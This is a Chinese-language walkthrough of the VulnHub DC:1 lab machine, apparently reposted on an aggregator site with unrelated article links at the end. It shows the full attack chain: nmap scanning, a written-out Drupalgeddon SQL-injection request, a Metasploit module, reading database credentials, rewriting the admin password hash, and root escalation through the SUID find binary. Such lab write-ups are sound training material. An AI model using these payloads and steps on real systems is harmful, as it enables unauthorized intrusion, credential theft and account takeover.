《VulnHub》DC:1


title: 《VulnHub》DC:1
date: 2024-01-01 12:46:49
updated: 2024-01-01 12:46:50
categories: WriteUp:Cyber-Range
excerpt: 主机发现、目标信息扫描、漏洞扫描、网站指纹信息识别、网站目录扫描、drupal CMS 漏洞利用(CVE 2014-3704)、Metasploit 渗透、获取可交互式 shell、进一步搜集信息、查看用户 sudo 权限、查找具有 Setuid 权限位的可执行文件、提权。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png


VulnHub

  • 1:靶场信息
  • 2:打靶
    • 2.1:情报收集 & 威胁建模
    • 2.2:漏洞分析 & 渗透攻击
    • 2.3:后渗透
  • 3:总结
    • 3.1:命令 & 工具
      • 3.1.1:Nmap
      • 3.1.2:Metasploit
      • 3.1.3:python
      • 3.1.4:find
    • 3.2:关键技术


VulnHub 打靶记录。
VulnHub 官网:https://www.vulnhub.com

攻击机为 Kali-Linux-2023.3-vmware-amd64。
Kali NAT IP:192.168.8.15。

1:靶场信息

靶场网址:
https://www.vulnhub.com/entry/dc-1,292/

2:打靶

2.1:情报收集 & 威胁建模

主机发现
nmap -sn 192.168.8.0/24

在这里插入图片描述

确定目标 IP 为 192.168.8.132。

进行端口扫描、服务探测、操作系统探测
nmap -p- -sV -sC -O 192.168.8.132

在这里插入图片描述

Nmap scan report for 192.168.8.132
Host is up (0.00068s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey: 
|   1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
|   2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_  256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp    open  http    Apache httpd 2.2.22 ((Debian))
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: Welcome to Drupal Site | Drupal Site
|_http-server-header: Apache/2.2.22 (Debian)
|_http-generator: Drupal 7 (http://drupal.org)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          35249/tcp   status
|   100024  1          42703/udp6  status
|   100024  1          43760/udp   status
|_  100024  1          45642/tcp6  status
35249/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:58:12:58 (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.38 seconds

用 nmap 的漏洞库对端口进行扫描
nmap --script=vuln -p 22,80,111,35249 192.168.8.132

在这里插入图片描述

Nmap scan report for 192.168.8.132
Host is up (0.00029s latency).PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.8.132
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.8.132:80/
|     Form id: user-login-form
|     Form action: /node?destination=node
|     
|     Path: http://192.168.8.132:80/user/password
|     Form id: user-pass
|     Form action: /user/password
|     
|     Path: http://192.168.8.132:80/node?destination=node
|     Form id: user-login-form
|     Form action: /node?destination=node
|     
|     Path: http://192.168.8.132:80/user/register
|     Form id: user-register-form
|     Form action: /user/register
|     
|     Path: http://192.168.8.132:80/user/
|     Form id: user-login
|     Form action: /user/
|     
|     Path: http://192.168.8.132:80/user
|     Form id: user-login
|_    Form action: /user
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-vuln-cve2014-3704: 
|   VULNERABLE:
|   Drupal - pre Auth SQL Injection Vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2014-3704
|         The expandArguments function in the database abstraction API in
|         Drupal core 7.x before 7.32 does not properly construct prepared
|         statements, which allows remote attackers to conduct SQL injection
|         attacks via an array containing crafted keys.
|           
|     Disclosure date: 2014-10-15
|     References:
|       http://www.securityfocus.com/bid/70595
|       https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3704
|_      https://www.drupal.org/SA-CORE-2014-005
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /rss.xml: RSS or Atom feed
|   /robots.txt: Robots file
|   /UPGRADE.txt: Drupal file
|   /INSTALL.txt: Drupal file
|   /INSTALL.mysql.txt: Drupal file
|   /INSTALL.pgsql.txt: Drupal file
|   /: Drupal version 7 
|   /README: Interesting, a readme.
|   /README.txt: Interesting, a readme.
|   /0/: Potentially interesting folder
|_  /user/: Potentially interesting folder
111/tcp   open  rpcbind
35249/tcp open  unknown
MAC Address: 00:0C:29:58:12:58 (VMware)Nmap done: 1 IP address (1 host up) scanned in 148.71 seconds

可以发现 80 端口的 HTTP 服务漏洞有:CSRF、CVE 2014-3704。

web 页面如下:

在这里插入图片描述

该网站能注册新用户但密码未知。

既然有 HTTP 服务,那就扫描一下网站。

扫描网站根目录指纹信息
whatweb http://192.168.8.132/

在这里插入图片描述

扫描网站目录
dirsearch -u http://192.168.8.132/

在这里插入图片描述

没有发现比较有趣的目录。

那就尝试使用 CVE 2014-3704 漏洞作为切入点吧。

2.2:漏洞分析 & 渗透攻击

通过搜索引擎寻找 CVE 2014-3704 漏洞利用方法。

《Vulhub之“Drupalgeddon” SQL注入漏洞(CVE-2014-3704)》:
https://blog.csdn.net/angry_program/article/details/104620273

登录点抓包,添加 payload

在这里插入图片描述

POST /?q=node&destination=node HTTP/1.1
Host: 192.168.8.132
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 178
Origin: http://192.168.8.132
Connection: close
Referer: http://192.168.8.132/
Cookie: has_js=1
Upgrade-Insecure-Requests: 1name[0 or updatexml(0,concat(0x7e,database(),0x7e),0)%23]=bob&name[0]=a&pass=bug&form_build_id=form-hUM-lGJvIc5NEmlo46nu_0Z7cOfyfmk6BQjvIRD4goA&form_id=user_login_block&op=Log in

爆出数据库。

在这里插入图片描述

将刚才的数据包保存,丢给 SQLmap。

sqlmap 探测
sqlmap -r /root/Desktop/sql.txt --batch

不过 sqlmap 并没有跑出结果。

那就使用 metasploit 查找相关利用方法。

启动 msf
msfdb init && msfconsole

查找 CVE 2014-3704 漏洞相关利用模块
search 2014-3704

在这里插入图片描述

只有一个,那就尝试使用一下。

使用模块
use 0

在这里插入图片描述

查看参数

show options

在这里插入图片描述

配置参数
set rhosts 192.168.8.132

在这里插入图片描述

利用,获取会话
run

获取目标 shell
shell

在这里插入图片描述

查看当前目录,可以看到一个 flag 文件。

在这里插入图片描述

在这里插入图片描述

提示查看 CMS 的配置文件。drupal CMS 的配置文件在 ./sites/default/ 目录下。

在这里插入图片描述

在 settings.php 文件中找到以下关键信息(flag2 与 mysql 数据库认证信息):

在这里插入图片描述

<?php/**** flag2* Brute force and dictionary attacks aren't the* only ways to gain access (and you WILL need access).* What can you do with these credentials?**/$databases = array ('default' => array ('default' => array ('database' => 'drupaldb','username' => 'dbuser','password' => 'R0ck3t','host' => 'localhost','port' => '','driver' => 'mysql','prefix' => '',),),
);

当前 msf 提供的 shell 并不支持交互操作,可以使用 python 获取可交互式 shell。

获取可交互式 shell
python -c "import pty;pty.spawn('/bin/sh')"

然后登录数据库看看。

mysql -udbuser -pR0ck3t

在这里插入图片描述

之后就是一通信息搜集。

在 drupaldb.users 表中可以发现以下信息。可惜密码是加了密的。

mysql> select * from users;
select * from users;                                                                                                          
+-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+  
| uid | name  | pass                                                    | mail              | theme | signature | signature_format | created    | access     | login      | status | timezone            | language | picture | init              | data |  
+-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+  
|   0 |       |                                                         |                   |       |           | NULL             |          0 |          0 |          0 |      0 | NULL                |          |       0 |                   | NULL |  
|   1 | admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR | admin@example.com |       |           | NULL             | 1550581826 | 1550583852 | 1550582362 |      1 | Australia/Melbourne |          |       0 | admin@example.com | b:0; |  
|   2 | Fred  | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg | fred@example.org  |       |           | filtered_html    | 1550581952 | 1550582225 | 1550582225 |      1 | Australia/Melbourne |          |       0 | fred@example.org  | b:0; |
+-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
3 rows in set (0.00 sec)

不过 /var/www/scripts/ 目录下可以获取密码加密脚本 password-hash.sh,也就是说可以通过该脚本加密用户密码,然后将一个用户手动添加到数据库中。

#!/usr/bin/php
<?php/*** Drupal hash script - to generate a hash from a plaintext password** Check for your PHP interpreter - on Windows you'll probably have to* replace line 1 with*   #!c:/program files/php/php.exe** @param password1 [password2 [password3 ...]]*  Plain-text passwords in quotes (or with spaces backslash escaped).*/if (version_compare(PHP_VERSION, "5.2.0", "<")) {$version  = PHP_VERSION;echo <<<EOFERROR: This script requires at least PHP version 5.2.0. You invoked it withPHP version {$version}.
\n
EOF;exit;
}$script = basename(array_shift($_SERVER['argv']));if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {echo <<<EOFGenerate Drupal password hashes from the shell.Usage:        {$script} [OPTIONS] "<plan-text password>"
Example:      {$script} "mynewpassword"All arguments are long options.--help      Print this page.--root <path>Set the working directory for the script to the specified path.To execute this script this has to be the root directory of yourDrupal installation, e.g. /home/www/foo/drupal (assuming Drupalrunning on Unix). Use surrounding quotation marks on Windows."<password1>" ["<password2>" ["<password3>" ...]]One or more plan-text passwords enclosed by double quotes. Theoutput hash may be manually entered into the {users}.pass field tochange a password via SQL to a known value.To run this script without the --root argument invoke it from the root directory
of your Drupal installation as./scripts/{$script}
\n
EOF;exit;
}$passwords = array();// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {switch ($param) {case '--root':// Change the working directory.$path = array_shift($_SERVER['argv']);if (is_dir($path)) {chdir($path);}break;default:// Add a password to the list to be processed.$passwords[] = $param;break;}
}define('DRUPAL_ROOT', getcwd());include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';foreach ($passwords as $password) {print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");

也可以不用这么麻烦,在 msf exploitdb 中有一个针对 Drupal 7 版本的攻击脚本,可以增加一个 admin 权限的用户账号。具体参考:https://blog.csdn.net/weixin_45864963/article/details/126696563

这里先放一放,继续搜集一下信息。在 /etc/passwd 文件中可以发现一个 flag4 用户。

cat -n /etc/passwd

在这里插入图片描述

可以直接进入其 home 目录获取 flag4。

在这里插入图片描述

这里也可以使用 hydra + john 破解 flag4 用户的 ssh 连接密码,从而登录到 flag4 用户的账户,直接查看 flag4。具体参考:https://blog.csdn.net/weixin_48991458/article/details/121362982

至此,已经拿到了 flag1、flag2、flag4。

现在再回头利用刚才的数据库。

直接利用加密脚本 /var/www/scripts/password-hash.sh 获取密码密文。

php /var/www/scripts/password-hash.sh adminpass

在这里插入图片描述

password: adminpass
hash: $S$DUKfIRZztxmhlJ9B3U8br8nSw3XMp0ZCJw2j.b5AUpjbUfLvupWN

登录到 mysql,直接更改 drupaldb.users 表中 admin 用户的密码:

mysql -udbuser -pR0ck3t

use drupaldb;update users set pass="$S$DUKfIRZztxmhlJ9B3U8br8nSw3XMp0ZCJw2j.b5AUpjbUfLvupWN" where name="admin";

在这里插入图片描述

然后回到网页登录。

username: admin
password: adminpass

火狐浏览器不知道怎么回事登不上,换了谷歌浏览器成功登入。搞得我以为攻击失败了,排查了半天…

在这里插入图片描述

找到 flag3。

在这里插入图片描述

得到提示。

在这里插入图片描述

最后一个 flag 是在 /root/home/ 目录中。

2.3:后渗透

尝试提权。

可以使用 sudo -l 查看用户可在系统上具有的 sudo 权限,以及可以运行的特权命令与文件。不过当前用户无法使用 sudo 命令。

使用 find 命令查找有 suid 属性权限的文件。

查找 suid 属性权限文件
find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

提权
find /usr/bin/passwd -exec '/bin/sh' \;

在这里插入图片描述

可以看到提权成功。

这里不考虑痕迹隐藏,拿到 root 权限就已经结束咯。

在这里插入图片描述

3:总结

3.1:命令 & 工具

  • nmap
  • whatweb
  • dirsearch
  • BurpSuite
  • metasploit
  • python
  • mysql
  • find

3.1.1:Nmap

部分选项

参数介绍
-snPing Scan - disable port scan
-sVProbe open ports to determine service/version info
-sCequivalent to --script=default
-OEnable OS detection
--script=<Lua scripts><Lua scripts> is a comma separated list of directories, script-files or script-categories

nmap 脚本

  • --script=default:默认的脚本,提供一些基本的漏洞探测和信息收集。
  • --script=vuln:用于检测目标系统上的漏洞。

3.1.2:Metasploit

基本使用

  • 启动 Metasploit:msfdb init && msfconsole
  • 查找相关利用模块:search <key>
  • 使用模块:use <module>
    • 查看该模块参数:show options
    • 设置参数:set <name> <value>
    • 执行:run
  • 攻击成功后将显示 meterpreter 提示符。

后渗透模块 meterpreter 使用

  • 打印当前工作目录:pwd
  • 获取目标主机 shell:shell

3.1.3:python

获取可交互式 shell
python -c "import pty;pty.spawn('/bin/sh')"

  • python:启动 Python 解释器。
  • -c:表示提供 Python 代码,而不是执行从文件加载的脚本。
  • import pty:导入 pty 模块,该模块提供伪终端(pseudo-terminal)支持。
  • pty.spawn('/bin/sh'):使用 pty.spawn 函数,执行 /bin/sh,生成一个交互式 Shell。

通常用于绕过受限制的 Shell 环境,获取更高级别的 Shell 访问权限。

补充

Windows 下获取可交互式 shell
python -c "import os;os.system('cmd.exe')"

3.1.4:find

查找具有 Setuid 权限位的可执行文件
find / -perm -u=s -type f 2>/dev/null

  • find:查找。
  • /:指定查找的起始目录为根目录。
  • -perm -u=s:用于匹配具有 Setuid 权限位的文件。
  • -type f:限制查找结果只包括普通文件,而不包括目录或其他类型的文件。
  • 2>/dev/null:将错误输出重定向到 /dev/null。可以使输出更加清晰。

Setuid 权限位允许一个程序在执行时暂时具有文件所有者的权限。

提权
find /usr/bin/passwd -exec '/bin/sh' \;

《find 命令提权》:
https://www.cnblogs.com/aaak/p/15718561.html

3.2:关键技术

  • 主机发现,ip、icmp 三层发现:
    nmap -sn <target>

  • 目标信息扫描,进行端口扫描、服务探测、操作系统探测:
    nmap -p- -sV -sC -O <target>

  • 漏洞扫描,用 nmap 的漏洞库对端口进行扫描:
    nmap --script=vuln -p <port> <target>

  • 网站指纹信息识别
    whatweb <url>

  • 网站目录扫描
    dirsearch -u <url>

  • drupal CMS 漏洞利用(CVE 2014-3704)

  • sqlmap 探测,使用指定数据包,自动默认操作:
    sqlmap -r <file> --batch

  • Metasploit 渗透,CVE 2014-3704 漏洞相关模块使用

  • 获取可交互式 shell,使用 python 获取可交互式 shell:
    python -c "import pty;pty.spawn('/bin/sh')"

  • 进一步搜集信息,利用泄露的密码加密脚本生成密文,登录 MySQL 更改网站管理员密码。

  • 查看用户 sudo 权限,以及可以运行的特权命令与文件:
    sudo -l

  • 查找具有 Setuid 权限位的可执行文件
    find / -perm -u=s -type f 2>/dev/null

  • 提权
    find <file> -exec '/bin/sh' \;


人生到处知何似,应似飞鸿踏雪泥。

——《和子由渑池怀旧》(宋)苏轼

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/313982.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

爱思唯尔的KBS——模板、投稿、返修、接收的总结

第二篇论文终于是接受了QAQ&#xff0c;被审稿人疯狂拖时间&#xff0c;KBS是真难绷啊 由于之前发布过关于爱思唯尔旗下的ESWA博客&#xff0c;KBS和ESWA是类似的&#xff0c;因此本篇博客主要说下区别以及期间碰到的各种情况&#xff0c;有疑问依然可以在评论区说&#xff0c;…

5个用于构建Web应用程序的Go Web框架

探索高效Web开发的顶级Go框架 Go&#xff08;或称为Golang&#xff09;以其简洁性、高效性和出色的标准库而闻名。然而&#xff0c;有几个流行的Go Web框架和库为构建Web应用程序提供了额外的功能。以下是五个最值得注意的Go框架&#xff1a; 1. Gin&#xff1a; Gin是一个高…

Impala4.x源码阅读笔记(三)——Impala如何管理Iceberg表元数据

前言 本文为笔者个人阅读Apache Impala源码时的笔记&#xff0c;仅代表我个人对代码的理解&#xff0c;个人水平有限&#xff0c;文章可能存在理解错误、遗漏或者过时之处。如果有任何错误或者有更好的见解&#xff0c;欢迎指正。 上一篇文章Impala4.x源码阅读笔记&#xff0…

Baumer工业相机堡盟工业相机如何通过NEOAPI SDK设置相机的图像剪切(ROI)功能(C++)

Baumer工业相机堡盟工业相机如何通过NEOAPI SDK设置相机的图像剪切&#xff08;ROI&#xff09;功能&#xff08;C&#xff09; Baumer工业相机Baumer工业相机的图像剪切&#xff08;ROI&#xff09;功能的技术背景CameraExplorer如何使用图像剪切&#xff08;ROI&#xff09;功…

mysql基础-字段类型及几点讨论事项

目录 1.主要字段类型 1.1整数 1.2.浮点数类型 1.3.文本类型 1.4.日期与时间类型 2.讨论几点有关字段类型的事 2.1 时间类型字段用字符还是datetime&#xff1f; 2.2 时间类型字段如何设置随时间更新&#xff1f; 2.3 字段长度够用即可 2.4 小数的字段类型选择&#xf…

错题总结五

一. 操作访问字节个数问题 这道题考察的是指针有关的知识&#xff0c;而这种指针的知识我们提到过 指针相关知识(入门)-CSDN博客 指针相关知识(进阶)-CSDN博客 在这里&#xff0c;我们复习一下。在指针里&#xff0c;int有4个字节&#xff0c;short有2个字节&#xff0c;换句…

水果软件2024FL Studio21.3mac苹果中文版

FL STUDIO21发布&#xff0c;提供您一直在等待的出色工作流程功能。通过新效果、多个播放列表曲目选择和无所畏惧的撤消一切编辑&#xff0c;将您的音乐带入2024年。FL Studio21中文完整版是一个功能齐全、开放式架构的PC音乐创作和制作环境。它具有基于音乐音序器的图形用户界…

二、RK3588-安装Opencv-4.8.1(C++版本)

1.前言 OpenCV是一个跨平台的计算机视觉和机器学习软件库&#xff0c;基于Apache2.0许可&#xff08;开源&#xff09;发行。它可以在Linux、Windows、Android和Mac OS操作系统上运行。OpenCV由一系列C函数和少量C类构成&#xff0c;同时提供了Python、Ruby、MATLAB等语言的接口…

神秘的Cookie和Session

Cookie 1.Cookie是什么&#xff1f; Cookie是浏览器提供的持久化储存数据的方式。 2.从哪里来&#xff1f; Cookie从服务器中来&#xff0c;存储到客户端中。一个客户端就对应着一个浏览器。 服务器代码中决定了什么样的数据会储存到客户端中&#xff0c;通过HTTP相应的Se…

常见位运算模板方法总结(包含五道例题)

哈喽大家好&#xff0c;今天博主给大家带来算法基础常见位运算的模板&#xff0c;可以说大家遇到的百分之九十与位运算有关的题都可以用得上。话不多上我们上干货&#xff1a; 一.基础位运算符 << 左移运算符 >> 右移运算符 ~ 取反 & 与运算 | …

深入浅出图解C#堆与栈 C# Heap(ing) VS Stack(ing) 第一节 理解堆与栈

深入浅出图解C#堆与栈 C# HeapingVS Stacking第一节 理解堆与栈 [深入浅出图解C#堆与栈 C# Heap(ing) VS Stack(ing) 第一节 理解堆与栈](https://mp.csdn.net/mdeditor/101021023)[深入浅出图解C#堆与栈 C# Heap(ing) VS Stack(ing) 第二节 栈基本工作原理](https://mp.csdn.n…

Leetcode每日一题周汇总 (12.24-12.30)

Leetcode每日一题周汇总 (12.24-12.30) 1.Sunday (12.24) 题目链接&#xff1a;1954. 收集足够苹果的最小花园周长 - 力扣&#xff08;LeetCode&#xff09; 题目描述&#xff1a; 给你一个用无限二维网格表示的花园&#xff0c;每一个 整数坐标处都有一棵苹果树。整数坐标…